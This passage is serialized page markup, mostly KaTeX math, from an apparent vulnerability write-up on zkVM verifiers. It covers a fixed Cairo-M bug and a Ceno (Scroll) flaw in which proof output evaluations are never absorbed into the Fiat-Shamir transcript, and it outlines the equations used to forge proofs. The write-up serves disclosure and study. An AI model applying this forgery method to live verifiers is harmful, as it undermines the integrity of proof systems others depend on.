7775,"children":117777},{"className":117776},[21425,3769],[117778],{"type":32,"value":626},{"type":26,"tag":475,"props":117780,"children":117782},{"className":117781},[3719,32,3769],[117783],{"type":26,"tag":475,"props":117784,"children":117786},{"className":117785},[3719,3769],[117787],{"type":32,"value":61367},{"type":26,"tag":475,"props":117789,"children":117791},{"className":117790,"style":92667},[3719,3769],[117792],{"type":32,"value":2789},{"type":26,"tag":475,"props":117794,"children":117796},{"className":117795},[3719,32,3769],[117797],{"type":26,"tag":475,"props":117798,"children":117800},{"className":117799},[3719,3769],[117801],{"type":32,"value":3408},{"type":26,"tag":475,"props":117803,"children":117805},{"className":117804},[21447,3769],[117806],{"type":32,"value":117807},")⟩",{"type":26,"tag":475,"props":117809,"children":117811},{"className":117810},[3806,3769],[117812],{"type":32,"value":1106},{"type":26,"tag":475,"props":117814,"children":117816},{"className":117815,"style":114622},[3719,21296,3769],[117817],{"type":32,"value":114625},{"type":26,"tag":475,"props":117819,"children":117820},{"style":113052},[117821,117825],{"type":26,"tag":475,"props":117822,"children":117824},{"className":117823,"style":111650},[3760],[],{"type":26,"tag":475,"props":117826,"children":117828},{"className":117827,"style":113062},[113061],[],{"type":26,"tag":475,"props":117830,"children":117831},{"style":113066},[117832,117836],{"type":26,"tag":475,"props":117833,"children":117835},{"className":117834,"style":111650},[3760],[],{"type":26,"tag":475,"props":117837,"children":117839},{"className":117838},[3766,3767,3768,3769],[117840],{"type":26,"tag":475,"props":117841,"children":117843},{"className":117842},[3719,3769],[117844],{"type":26,"tag":475,"props":117845,"children":117847},{"className":117846},[3719,3769],[117848],{"type":32,"value":3722},{"type":26,"tag":475,"props":117850,"children":117852},{"className":117851},[21453],[117853],{"type":32,"value":21456},{"type":26,"tag":475,"props":117855,"children":117857},{"className":117856},[3746],[117858],{"type":26,"tag":475,"props":117859,"children":117862},{"className":117860,"style":117861},[3751],"height:0.562em;",[117863],{"type":26,"tag":475,"props":117864,"children":117865},{},[],{"type":26,"tag":475,"props":117867,"children":117869},{"className":117868},[21447,112997],[],{"type":26,"tag":475,"props":117871,"children":117873},{"className":117872},[3719],[117874],{"type":32,"value":353},{"type":26,"tag":35,"props":117876,"children":117877},{},[117878,117880],{"type":32,"value":117879},"The global check is then that ",{"type":26,"tag":53,"props":117881,"children":117883},{"className":117882},[3691,3692],[117884],{"type":26,"tag":475,"props":117885,"children":117887},{"className":117886},[3697],[117888],{"type":26,"tag":475,"props":117889,"children":117891},{"className":117890,"ariaHidden":3703},[3702],[117892,117933,117964],{"type":26,"tag":475,"props":117893,"children":117895},{"className":117894},[3708],[117896,117900,117905,117910,117915,117920,117924,117929],{"type":26,"tag":475,"props":117897,"children":117899},{"className":117898,"style":3821},[3713],[],{"type":26,"tag":475,"props":117901,"children":117903},{"className":117902},[3719,21296],[117904],{"type":32,"value":117443},{"type":26,"tag":475,"props":117906,"children":117908},{"className":117907},[21425],[117909],{"type":32,"value":626},{"type":26,"tag":475,"props":117911,"children":117913},{"className":117912},[3719,21296],[117914],{"type":32,"value":35},{"type":26,"tag":475,"props":117916,"children":117918},{"className":117917},[21447],[117919],{"type":32,"value":2835},{"type":26,"tag":475,"props":117921,"children":117923},{"className":117922,"style":3801},[3800],[],{"type":26,"tag":475,"props":117925,"children":117927},{"className":117926},[3806],[117928],{"type":32,"value":1106},{"type":26,"tag":475,"props":117930,"children":117932},{"className":117931,"style":3801},[3800],[],{"type":26,"tag":475,"props":117934,"children":117936},{"className":117935},[3708],[117937,117941,117951,117955,117960],{"type":26,"tag":475,"props":117938,"children":117940},{"className":117939,"style":3821},[3713],[],{"type":26,"tag":475,"props":117942,"children":117944},{"className":117943},[3719,32],[117945],{"type":26,"tag":475,"props":117946,"children":117948},{"className":117947},[3719],[117949],{"type":32,"value":117950},"(other terms)",{"type":26,"tag":475,"props":117952,"children":117954},{"className":117953,"style":3898},[3800],[],{"type":26,"tag":475,"props":117956,"children":117958},{"className":117957},[3903],[117959],{"type":32,"value":786},{"type":26,"tag":475,"props":117961,"children":117963},{"className":117962,"style":3898},[3800],[],{"type":26,"tag":475,"props":117965,"children":117967},{"className":117966},[3708],[117968,117972],{"type":26,"tag":475,"props":117969,"children":117971},{"className":117970,"style":93698},[3713],[],{"type":26,"tag":475,"props":117973,"children":117975},{"className":117974},[3719],[117976],{"type":32,"value":3732},{"type":26,"tag":35,"props":117978,"children":117979},{},[117980],{"type":32,"value":117981},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":26,"tag":35,"props":117983,"children":117984},{},[117985],{"type":32,"value":117986},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":26,"tag":35,"props":117988,"children":117989},{},[117990,117994,117996],{"type":26,"tag":105,"props":117991,"children":117992},{},[117993],{"type":32,"value":116189},{"type":32,"value":117995}," Fixed on October 31, 2025 via ",{"type":26,"tag":116,"props":117997,"children":118000},{"href":117998,"rel":117999},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[120],[118001],{"type":32,"value":118002},"commit 92b6740",{"type":26,"tag":18502,"props":118004,"children":118005},{},[],{"type":26,"tag":41,"props":118007,"children":118009},{"id":118008},"ceno-scroll",[118010],{"type":32,"value":118011},"Ceno (Scroll)",{"type":26,"tag":35,"props":118013,"children":118014},{},[118015],{"type":32,"value":118016},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":26,"tag":35,"props":118018,"children":118019},{},[118020,118022,118027],{"type":32,"value":118021},"Ceno splits verification into ",{"type":26,"tag":105,"props":118023,"children":118024},{},[118025],{"type":32,"value":118026},"chips",{"type":32,"value":118028},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":26,"tag":35,"props":118030,"children":118031},{},[118032,118034,118039],{"type":32,"value":118033},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":26,"tag":105,"props":118035,"children":118036},{},[118037],{"type":32,"value":118038},"tower sumcheck",{"type":32,"value":353},{"type":26,"tag":35,"props":118041,"children":118042},{},[118043],{"type":32,"value":118044},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":26,"tag":35,"props":118046,"children":118047},{},[118048],{"type":26,"tag":53,"props":118049,"children":118051},{"className":118050},[3691,3692],[118052],{"type":26,"tag":475,"props":118053,"children":118055},{"className":118054},[3697],[118056],{"type":26,"tag":475,"props":118057,"children":118059},{"className":118058,"ariaHidden":3703},[3702],[118060,118234,118407],{"type":26,"tag":475,"props":118061,"children":118063},{"className":118062},[3708],[118064,118068,118126,118130,118139,118144,118154,118159,118221,118225,118230],{"type":26,"tag":475,"props":118065,"children":118067},{"className":118066,"style":92609},[3713],[],{"type":26,"tag":475,"props":118069,"children":118071},{"className":118070},[21332],[118072,118078],{"type":26,"tag":475,"props":118073,"children":118075},{"className":118074,"style":21339},[21332,21337,21338],[118076],{"type":32,"value":118077},"∏",{"type":26,"tag":475,"props":118079,"children":118081},{"className":118080},[3736],[118082],{"type":26,"tag":475,"props":118083,"children":118085},{"className":118084},[3741,21350],[118086,118115],{"type":26,"tag":475,"props":118087,"children":118089},{"className":118088},[3746],[118090,118110],{"type":26,"tag":475,"props":118091,"children":118093},{"className":118092,"style":113686},[3751],[118094],{"type":26,"tag":475,"props":118095,"children":118096},{"style":21363},[118097,118101],{"type":26,"tag":475,"props":118098,"children":118100},{"className":118099,"style":3761},[3760],[],{"type":26,"tag":475,"props":118102,"children":118104},{"className":118103},[3766,3767,3768,3769],[118105],{"type":26,"tag":475,"props":118106,"children":118108},{"className":118107},[3719,21296,3769],[118109],{"type":32,"value":3445},{"type":26,"tag":475,"props":118111,"children":118113},{"className":118112},[21453],[118114],{"type":32,"value":21456},{"type":26,"tag":475,"props":118116,"children":118118},{"className":118117},[3746],[118119],{"type":26,"tag":475,"props":118120,"children":118122},{"className":118121,"style":113966},[3751],[118123],{"type":26,"tag":475,"props":118124,"children":118125},{},[],{"type":26,"tag":475,"props":118127,"children":118129},{"className":118128,"style":3839},[3800],[],{"type":26,"tag":475,"props":118131,"children":118133},{"className":118132},[3719,32],[118134],{"type":26,"tag":475,"props":118135,"children":118137},{"className":118136},[3719],[118138],{"type":32,"value":93486},{"type":26,"tag":475,"props":118140,"children":118142},{"className":118141,"style":92667},[3719],[118143],{"type":32,"value":2789},{"type":26,"tag":475,"props":118145,"children":118147},{"className":118146},[3719,32],[118148],{"type":26,"tag":475,"props":118149,"children":118151},{"className":118150},[3719],[118152],{"type":32,"value":118153},"out",{"type":26,"tag":475,"props":118155,"children":118157},{"className":118156,"style":92667},[3719],[118158],{"type":32,"value":2789},{"type":26,"tag":475,"props":118160,"children":118162},{"className":118161},[3719],[118163,118173],{"type":26,"tag":475,"props":118164,"children":118166},{"className":118165},[3719,32],[118167],{"type":26,"tag":475,"props":118168,"children":118170},{"className":118169},[3719],[118171],{"type":32,"value":118172},"evals",{"type":26,"tag":475,"props":118174,"children":118176},{"className":118175},[3736],[118177],{"type":26,"tag":475,"props":118178,"children":118180},{"className":118179},[3741,21350],[118181,118210],{"type":26,"tag":475,"props":118182,"children":118184},{"className":118183},[3746],[118185,118205],{"type":26,"tag":475,"props":118186,"children":118188},{"className":118187,"style":93196},[3751],[118189],{"type":26,"tag":475,"props":118190,"children":118191},{"style":113609},[118192,118196],{"type":26,"tag":475,"props":118193,"children":118195},{"className":118194,"style":3761},[3760],[],{"type":26,"tag":475,"props":118197,"children":118199},{"className":118198},[3766,3767,3768,3769],[118200],{"type":26,"tag":475,"props":118201,"children":118203},{"className":118202},[3719,21296,3769],[118204],{"type":32,"value":3445},{"type":26,"tag":475,"props":118206,"children":118208},{"className":118207},[21453],[118209],{"type":32,"value":21456},{"type":26,"tag":475,"props":118211,"children":118213},{"className":118212},[3746],[118214],{"type":26,"tag":475,"props":118215,"children":118217},{"className":118216,"style":92750},[3751],[118218],{"type":26,"tag":475,"props":118219,"children":118220},{},[],{"type":26,"tag":475,"props":118222,"children":118224},{"className":118223,"style":3898},[3800],[],{"type":26,"tag":475,"props":118226,"children":118228},{"className":118227},[3903],[118229],{"type":32,"value":786},{"type":26,"tag":475,"props":118231,"children":118233},{"className":118232,"style":3898},[3800],[],{"type":26,"tag":475,"props":118235,"children":118237},{"className":118236},[3708],[118238,118243,118300,118304,118313,118318,118327,118332,118394,118398,118403],{"type":26,"tag":475,"props":118239,"children":118242},{"className":118240,"style":118241},[3713],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":26,"tag":475,"props":118244,"children":118246},{"className":118245},[21332],[118247,118252],{"type":26,"tag":475,"props":118248,"children":118250},{"className":118249,"style":21339},[21332,21337,21338],[118251],{"type":32,"value":118077},{"type":26,"tag":475,"props":118253,"children":118255},{"className":118254},[3736],[118256],{"type":26,"tag":475,"props":118257,"children":118259},{"className":118258},[3741,21350],[118260,118289],{"type":26,"tag":475,"props":118261,"children":118263},{"className":118262},[3746],[118264,118284],{"type":26,"tag":475,"props":118265,"children":118267},{"className":118266,"style":113686},[3751],[118268],{"type":26,"tag":475,"props":118269,"children":118270},{"style":21363},[118271,118275],{"type":26,"tag":475,"props":118272,"children":118274},{"className":118273,"style":3761},[3760],[],{"type":26,"tag":475,"props":118276,"children":118278},{"className":118277},[3766,3767,3768,3769],[118279],{"type":26,"tag":475,"props":118280,"children":118282},{"className":118281,"style":113702},[3719,21296,3769],[118283],{"type":32,"value":8368},{"type":26,"tag":475,"props":118285,"children":118287},{"className":118286},[21453],[118288],{"type":32,"value":21456},{"type":26,"tag":475,"props":118290,"children":118292},{"className":118291},[3746],[118293],{"type":26,"tag":475,"props":118294,"children":118296},{"className":118295,"style":113717},[3751],[118297],{"type":26,"tag":475,"props":118298,"children":118299},{},[],{"type":26,"tag":475,"props":118301,"children":118303},{"className":118302,"style":3839},[3800],[],{"type":26,"tag":475,"props":118305,"children":118307},{"className":118306},[3719,32],[118308],{"type":26,"tag":475,"props":118309,"children":118311},{"className":118310},[3719],[118312],{"type":32,"value":49264},{"type":26,"tag":475,"props":118314,"children":118316},{"className":118315,"style":92667},[3719],[118317],{"type":32,"value":2789},{"type":26,"tag":475,"props":118319,"children":118321},{"className":118320},[3719,32],[118322],{"type":26,"tag":475,"props":118323,"children":118325},{"className":118324},[3719],[118326],{"type":32,"value":118153},{"type":26,"tag":475,"props":118328,"children":118330},{"className":118329,"style":92667},[3719],[118331],{"type":32,"value":2789},{"type":26,"tag":475,"props":118333,"children":118335},{"className":118334},[3719],[118336,118345],{"type":26,"tag":475,"props":118337,"children":118339},{"className":118338},[3719,32],[118340],{"type":26,"tag":475,"props":118341,"children":118343},{"className":118342},[3719],[118344],{"type":32,"value":118172},{"type":26,"tag":475,"props":118346,"children":118348},{"className":118347},[3736],[118349],{"type":26,"tag":475,"props":118350,"children":118352},{"className":118351},[3741,21350],[118353,118382],{"type":26,"tag":475,"props":118354,"children":118356},{"className":118355},[3746],[118357,118377],{"type":26,"tag":475,"props":118358,"children":118360},{"className":118359,"style":93196},[3751],[118361],{"type":26,"tag":475,"props":118362,"children":118363},{"style":113609},[118364,118368],{"type":26,"tag":475,"props":118365,"children":118367},{"className":118366,"style":3761},[3760],[],{"type":26,"tag":475,"props":118369,"children":118371},{"className":118370},[3766,3767,3768,3769],[118372],{"type":26,"tag":475,"props":118373,"children":118375},{"className":118374,"style":113702},[3719,21296,3769],[118376],{"type":32,"value":8368},{"type":26,"tag":475,"props":118378,"children":118380},{"className":118379},[21453],[118381],{"type":32,"value":21456},{"type":26,"tag":475,"props":118383,"children":118385},{"className":118384},[3746],[118386],{"type":26,"tag":475,"props":118387,"children":118390},{"className":118388,"style":118389},[3751],"height:0.2861em;",[118391],{"type":26,"tag":475,"props":118392,"children":118393},{},[],{"type":26,"tag":475,"props":118395,"children":118397},{"className":118396,"style":3801},[3800],[],{"type":26,"tag":475,"props":118399,"children":118401},{"className":118400},[3806],[118402],{"type":32,"value":110741},{"type":26,"tag":475,"props":118404,"children":118406},{"className":118405,"style":3801},[3800],[],{"type":26,"tag":475,"props":118408,"children":118410},{"className":118409},[3708],[118411,118415,118420,118430],{"type":26,"tag":475,"props":118412,"children":118414},{"className":118413,"style":3821},[3713],[],{"type":26,"tag":475,"props":118416,"children":118418},{"className":118417},[21425],[118419],{"type":32,"value":626},{"type":26,"tag":475,"props":118421,"children":118423},{"className":118422},[3719,32],[118424],{"type":26,"tag":475,"props":118425,"children":118427},{"className":118426},[3719],[118428],{"type":32,"value":118429},"state factors",{"type":26,"tag":475,"props":118431,"children":118433},{"className":118432},[21447],[118434],{"type":32,"value":2835},{"type":26,"tag":35,"props":118436,"children":118437},{},[118438],{"type":26,"tag":105,"props":118439,"children":118440},{},[118441],{"type":32,"value":114895},{"type":26,"tag":465,"props":118443,"children":118445},{"code":118444},"ZKVMChipProof {\n r_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n w_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n lk_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n tower_proof: [...],\n gkr_iop_proof: [...],\n}\n",[118446],{"type":26,"tag":53,"props":118447,"children":118448},{"__ignoreMap":7},[118449],{"type":32,"value":118444},{"type":26,"tag":35,"props":118451,"children":118452},{},[118453,118459,118460,118466,118467,118473],{"type":26,"tag":53,"props":118454,"children":118456},{"className":118455},[],[118457],{"type":32,"value":118458},"r_out_evals",{"type":32,"value":637},{"type":26,"tag":53,"props":118461,"children":118463},{"className":118462},[],[118464],{"type":32,"value":118465},"w_out_evals",{"type":32,"value":6201},{"type":26,"tag":53,"props":118468,"children":118470},{"className":118469},[],[118471],{"type":32,"value":118472},"lk_out_evals",{"type":32,"value":118474}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":26,"tag":181,"props":118476,"children":118477},{},[118478],{"type":26,"tag":86,"props":118479,"children":118480},{},[118481,118486,118488,118494],{"type":26,"tag":105,"props":118482,"children":118483},{},[118484],{"type":32,"value":118485},"GKR/Tower equation",{"type":32,"value":118487}," (linear in ",{"type":26,"tag":53,"props":118489,"children":118491},{"className":118490},[],[118492],{"type":32,"value":118493},"out_evals",{"type":32,"value":23646},{"type":26,"tag":35,"props":118496,"children":118497},{},[118498,118500],{"type":32,"value":118499},"The tower sumcheck claim is ",{"type":26,"tag":53,"props":118501,"children":118503},{"className":118502},[3691,3692],[118504],{"type":26,"tag":475,"props":118505,"children":118507},{"className":118506},[3697],[118508],{"type":26,"tag":475,"props":118509,"children":118511},{"className":118510,"ariaHidden":3703},[3702],[118512,118543,118668],{"type":26,"tag":475,"props":118513,"children":118515},{"className":118514},[3708],[118516,118520,118530,118534,118539],{"type":26,"tag":475,"props":118517,"children":118519},{"className":118518,"style":92582},[3713],[],{"type":26,"tag":475,"props":118521,"children":118523},{"className":118522},[3719,32],[118524],{"type":26,"tag":475,"props":118525,"children":118527},{"className":118526},[3719],[118528],{"type":32,"value":118529},"claim",{"type":26,"tag":475,"props":118531,"children":118533},{"className":118532,"style":3898},[3800],[],{"type":26,"tag":475,"props":118535,"children":118537},{"className":118536},[3903],[118538],{"type":32,"value":786},{"type":26,"tag":475,"props":118540,"children":118542},{"className":118541,"style":3898},[3800],[],{"type":26,"tag":475,"props":118544,"children":118546},{"className":118545},[3708],[118547,118552,118609,118613,118655,118659,118664],{"type":26,"tag":475,"props":118548,"children":118551},{"className":118549,"style":118550},[3713],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":26,"tag":475,"props":118553,"children":118555},{"className":118554},[21332],[118556,118561],{"type":26,"tag":475,"props":118557,"children":118559},{"className":118558,"style":21339},[21332,21337,21338],[118560],{"type":32,"value":108274},{"type":26,"tag":475,"props":118562,"children":118564},{"className":118563},[3736],[118565],{"type":26,"tag":475,"props":118566,"children":118568},{"className":118567},[3741,21350],[118569,118598],{"type":26,"tag":475,"props":118570,"children":118572},{"className":118571},[3746],[118573,118593],{"type":26,"tag":475,"props":118574,"children":118576},{"className":118575,"style":113686},[3751],[118577],{"type":26,"tag":475,"props":118578,"children":118579},{"style":21363},[118580,118584],{"type":26,"tag":475,"props":118581,"children":118583},{"className":118582,"style":3761},[3760],[],{"type":26,"tag":475,"props":118585,"children":118587},{"className":118586},[3766,3767,3768,3769],[118588],{"type":26,"tag":475,"props":118589,"children":118591},{"className":118590,"style":113702},[3719,21296,3769],[118592],{"type":32,"value":8368},{"type":26,"tag":475,"props":118594,"children":118596},{"className":118595},[21453],[118597],{"type":32,"value":21456},{"type":26,"tag":475,"props":118599,"children":118601},{"className":118600},[3746],[118602],{"type":26,"tag":475,"props":118603,"children":118605},{"className":118604,"style":113717},[3751],[118606],{"type":26,"tag":475,"props":118607,"children":118608},{},[],{"type":26,"tag":475,"props":118610,"children":118612},{"className":118611,"style":3839},[3800],[],{"type":26,"tag":475,"props":118614,"children":118616},{"className":118615},[3719],[118617,118622],{"type":26,"tag":475,"props":118618,"children":118620},{"className":118619,"style":114567},[3719,21296],[118621],{"type":32,"value":114570},{"type":26,"tag":475,"props":118623,"children":118625},{"className":118624},[3736],[118626],{"type":26,"tag":475,"props":118627,"children":118629},{"className":118628},[3741],[118630],{"type":26,"tag":475,"props":118631,"children":118633},{"className":118632},[3746],[118634],{"type":26,"tag":475,"props":118635,"children":118638},{"className":118636,"style":118637},[3751],"height:0.8247em;",[118639],{"type":26,"tag":475,"props":118640,"children":118641},{"style":3755},[118642,118646],{"type":26,"tag":475,"props":118643,"children":118645},{"className":118644,"style":3761},[3760],[],{"type":26,"tag":475,"props":118647,"children":118649},{"className":118648},[3766,3767,3768,3769],[118650],{"type":26,"tag":475,"props":118651,"children":118653},{"className":118652,"style":113702},[3719,21296,3769],[118654],{"type":32,"value":8368},{"type":26,"tag":475,"props":118656,"children":118658},{"className":118657,"style":3801},[3800],[],{"type":26,"tag":475,"props":118660,"children":118662},{"className":118661},[3806],[118663],{"type":32,"value":110741},{"type":26,"tag":475,"props":118665,"children":118667},{"className":118666,"style":3801},[3800],[],{"type":26,"tag":475,"props":118669,"children":118671},{"className":118670},[3708],[118672,118676,118685,118690],{"type":26,"tag":475,"props":118673,"children":118675},{"className":118674,"style":94080},[3713],[],{"type":26,"tag":475,"props":118677,"children":118679},{"className":118678},[3719,32],[118680],{"type":26,"tag":475,"props":118681,"children":118683},{"className":118682},[3719],[118684],{"type":32,"value":118153},{"type":26,"tag":475,"props":118686,"children":118688},{"className":118687,"style":92667},[3719],[118689],{"type":32,"value":2789},{"type":26,"tag":475,"props":118691,"children":118693},{"className":118692},[3719],[118694,118703],{"type":26,"tag":475,"props":118695,"children":118697},{"className":118696},[3719,32],[118698],{"type":26,"tag":475,"props":118699,"children":118701},{"className":118700},[3719],[118702],{"type":32,"value":118172},{"type":26,"tag":475,"props":118704,"children":118706},{"className":118705},[3736],[118707],{"type":26,"tag":475,"props":118708,"children":118710},{"className":118709},[3741,21350],[118711,118740],{"type":26,"tag":475,"props":118712,"children":118714},{"className":118713},[3746],[118715,118735],{"type":26,"tag":475,"props":118716,"children":118718},{"className":118717,"style":93196},[3751],[118719],{"type":26,"tag":475,"props":118720,"children":118721},{"style":113609},[118722,118726],{"type":26,"tag":475,"props":118723,"children":118725},{"className":118724,"style":3761},[3760],[],{"type":26,"tag":475,"props":118727,"children":118729},{"className":118728},[3766,3767,3768,3769],[118730],{"type":26,"tag":475,"props":118731,"children":118733},{"className":118732,"style":113702},[3719,21296,3769],[118734],{"type":32,"value":8368},{"type":26,"tag":475,"props":118736,"children":118738},{"className":118737},[21453],[118739],{"type":32,"value":21456},{"type":26,"tag":475,"props":118741,"children":118743},{"className":118742},[3746],[118744],{"type":26,"tag":475,"props":118745,"children":118747},{"className":118746,"style":118389},[3751],[118748],{"type":26,"tag":475,"props":118749,"children":118750},{},[],{"type":26,"tag":35,"props":118752,"children":118753},{},[118754,118756,118761],{"type":32,"value":118755},"This check is linear in ",{"type":26,"tag":53,"props":118757,"children":118759},{"className":118758},[],[118760],{"type":32,"value":118493},{"type":32,"value":353},{"type":26,"tag":181,"props":118763,"children":118764},{"start":516},[118765],{"type":26,"tag":86,"props":118766,"children":118767},{},[118768,118773,118775,118780],{"type":26,"tag":105,"props":118769,"children":118770},{},[118771],{"type":32,"value":118772},"rw-product consistency",{"type":32,"value":118774}," (bilinear in ",{"type":26,"tag":53,"props":118776,"children":118778},{"className":118777},[],[118779],{"type":32,"value":118493},{"type":32,"value":23646},{"type":26,"tag":35,"props":118782,"children":118783},{},[118784],{"type":26,"tag":53,"props":118785,"children":118787},{"className":118786},[3691,3692],[118788],{"type":26,"tag":475,"props":118789,"children":118791},{"className":118790},[3697],[118792],{"type":26,"tag":475,"props":118793,"children":118795},{"className":118794,"ariaHidden":3703},[3702],[118796,118967,119138],{"type":26,"tag":475,"props":118797,"children":118799},{"className":118798},[3708],[118800,118804,118861,118865,118874,118879,118888,118893,118954,118958,118963],{"type":26,"tag":475,"props":118801,"children":118803},{"className":118802,"style":92609},[3713],[],{"type":26,"tag":475,"props":118805,"children":118807},{"className":118806},[21332],[118808,118813],{"type":26,"tag":475,"props":118809,"children":118811},{"className":118810,"style":21339},[21332,21337,21338],[118812],{"type":32,"value":118077},{"type":26,"tag":475,"props":118814,"children":118816},{"className":118815},[3736],[118817],{"type":26,"tag":475,"props":118818,"children":118820},{"className":118819},[3741,21350],[118821,118850],{"type":26,"tag":475,"props":118822,"children":118824},{"className":118823},[3746],[118825,118845],{"type":26,"tag":475,"props":118826,"children":118828},{"className":118827,"style":113686},[3751],[118829],{"type":26,"tag":475,"props":118830,"children":118831},{"style":21363},[118832,118836],{"type":26,"tag":475,"props":118833,"children":118835},{"className":118834,"style":3761},[3760],[],{"type":26,"tag":475,"props":118837,"children":118839},{"className":118838},[3766,3767,3768,3769],[118840],{"type":26,"tag":475,"props":118841,"children":118843},{"className":118842},[3719,21296,3769],[118844],{"type":32,"value":3445},{"type":26,"tag":475,"props":118846,"children":118848},{"className":118847},[21453],[118849],{"type":32,"value":21456},{"type":26,"tag":475,"props":118851,"children":118853},{"className":118852},[3746],[118854],{"type":26,"tag":475,"props":118855,"children":118857},{"className":118856,"style":113966},[3751],[118858],{"type":26,"tag":475,"props":118859,"children":118860},{},[],{"type":26,"tag":475,"props":118862,"children":118864},{"className":118863,"style":3839},[3800],[],{"type":26,"tag":475,"props":118866,"children":118868},{"className":118867},[3719,32],[118869],{"type":26,"tag":475,"props":118870,"children":118872},{"className":118871},[3719],[118873],{"type":32,"value":93486},{"type":26,"tag":475,"props":118875,"children":118877},{"className":118876,"style":92667},[3719],[118878],{"type":32,"value":2789},{"type":26,"tag":475,"props":118880,"children":118882},{"className":118881},[3719,32],[118883],{"type":26,"tag":475,"props":118884,"children":118886},{"className":118885},[3719],[118887],{"type":32,"value":118153},{"type":26,"tag":475,"props":118889,"children":118891},{"className":118890,"style":92667},[3719],[118892],{"type":32,"value":2789},{"type":26,"tag":475,"props":118894,"children":118896},{"className":118895},[3719],[118897,118906],{"type":26,"tag":475,"props":118898,"children":118900},{"className":118899},[3719,32],[118901],{"type":26,"tag":475,"props":118902,"children":118904},{"className":118903},[3719],[118905],{"type":32,"value":118172},{"type":26,"tag":475,"props":118907,"children":118909},{"className":118908},[3736],[118910],{"type":26,"tag":475,"props":118911,"children":118913},{"className":118912},[3741,21350],[118914,118943],{"type":26,"tag":475,"props":118915,"children":118917},{"className":118916},[3746],[118918,118938],{"type":26,"tag":475,"props":118919,"children":118921},{"className":118920,"style":93196},[3751],[118922],{"type":26,"tag":475,"props":118923,"children":118924},{"style":113609},[118925,118929],{"type":26,"tag":475,"props":118926,"children":118928},{"className":118927,"style":3761},[3760],[],{"type":26,"tag":475,"props":118930,"children":118932},{"className":118931},[3766,3767,3768,3769],[118933],{"type":26,"tag":475,"props":118934,"children":118936},{"className":118935},[3719,21296,3769],[118937],{"type":32,"value":3445},{"type":26,"tag":475,"props":118939,"children":118941},{"className":118940},[21453],[118942],{"type":32,"value":21456},{"type":26,"tag":475,"props":118944,"children":118946},{"className":118945},[3746],[118947],{"type":26,"tag":475,"props":118948,"children":118950},{"className":118949,"style":92750},[3751],[118951],{"type":26,"tag":475,"props":118952,"children":118953},{},[],{"type":26,"tag":475,"props":118955,"children":118957},{"className":118956,"style":3898},[3800],[],{"type":26,"tag":475,"props":118959,"children":118961},{"className":118960},[3903],[118962],{"type":32,"value":786},{"type":26,"tag":475,"props":118964,"children":118966},{"className":118965,"style":3898},[3800],[],{"type":26,"tag":475,"props":118968,"children":118970},{"className":118969},[3708],[118971,118975,119032,119036,119045,119050,119059,119064,119125,119129,119134],{"type":26,"tag":475,"props":118972,"children":118974},{"className":118973,"style":118241},[3713],[],{"type":26,"tag":475,"props":118976,"children":118978},{"className":118977},[21332],[118979,118984],{"type":26,"tag":475,"props":118980,"children":118982},{"className":118981,"style":21339},[21332,21337,21338],[118983],{"type":32,"value":118077},{"type":26,"tag":475,"props":118985,"children":118987},{"className":118986},[3736],[118988],{"type":26,"tag":475,"props":118989,"children":118991},{"className":118990},[3741,21350],[118992,119021],{"type":26,"tag":475,"props":118993,"children":118995},{"className":118994},[3746],[118996,119016],{"type":26,"tag":475,"props":118997,"children":118999},{"className":118998,"style":113686},[3751],[119000],{"type":26,"tag":475,"props":119001,"children":119002},{"style":21363},[119003,119007],{"type":26,"tag":475,"props":119004,"children":119006},{"className":119005,"style":3761},[3760],[],{"type":26,"tag":475,"props":119008,"children":119010},{"className":119009},[3766,3767,3768,3769],[119011],{"type":26,"tag":475,"props":119012,"children":119014},{"className":119013,"style":113702},[3719,21296,3769],[119015],{"type":32,"value":8368},{"type":26,"tag":475,"props":119017,"children":119019},{"className":119018},[21453],[119020],{"type":32,"value":21456},{"type":26,"tag":475,"props":119022,"children":119024},{"className":119023},[3746],[119025],{"type":26,"tag":475,"props":119026,"children":119028},{"className":119027,"style":113717},[3751],[119029],{"type":26,"tag":475,"props":119030,"children":119031},{},[],{"type":26,"tag":475,"props":119033,"children":119035},{"className":119034,"style":3839},[3800],[],{"type":26,"tag":475,"props":119037,"children":119039},{"className":119038},[3719,32],[119040],{"type":26,"tag":475,"props":119041,"children":119043},{"className":119042},[3719],[119044],{"type":32,"value":49264},{"type":26,"tag":475,"props":119046,"children":119048},{"className":119047,"style":92667},[3719],[119049],{"type":32,"value":2789},{"type":26,"tag":475,"props":119051,"children":119053},{"className":119052},[3719,32],[119054],{"type":26,"tag":475,"props":119055,"children":119057},{"className":119056},[3719],[119058],{"type":32,"value":118153},{"type":26,"tag":475,"props":119060,"children":119062},{"className":119061,"style":92667},[3719],[119063],{"type":32,"value":2789},{"type":26,"tag":475,"props":119065,"children":119067},{"className":119066},[3719],[119068,119077],{"type":26,"tag":475,"props":119069,"children":119071},{"className":119070},[3719,32],[119072],{"type":26,"tag":475,"props":119073,"children":119075},{"className":119074},[3719],[119076],{"type":32,"value":118172},{"type":26,"tag":475,"props":119078,"children":119080},{"className":119079},[3736],[119081],{"type":26,"tag":475,"props":119082,"children":119084},{"className":119083},[3741,21350],[119085,119114],{"type":26,"tag":475,"props":119086,"children":119088},{"className":119087},[3746],[119089,119109],{"type":26,"tag":475,"props":119090,"children":119092},{"className":119091,"style":93196},[3751],[119093],{"type":26,"tag":475,"props":119094,"children":119095},{"style":113609},[119096,119100],{"type":26,"tag":475,"props":119097,"children":119099},{"className":119098,"style":3761},[3760],[],{"type":26,"tag":475,"props":119101,"children":119103},{"className":119102},[3766,3767,3768,3769],[119104],{"type":26,"tag":475,"props":119105,"children":119107},{"className":119106,"style":113702},[3719,21296,3769],[119108],{"type":32,"value":8368},{"type":26,"tag":475,"props":119110,"children":119112},{"className":119111},[2145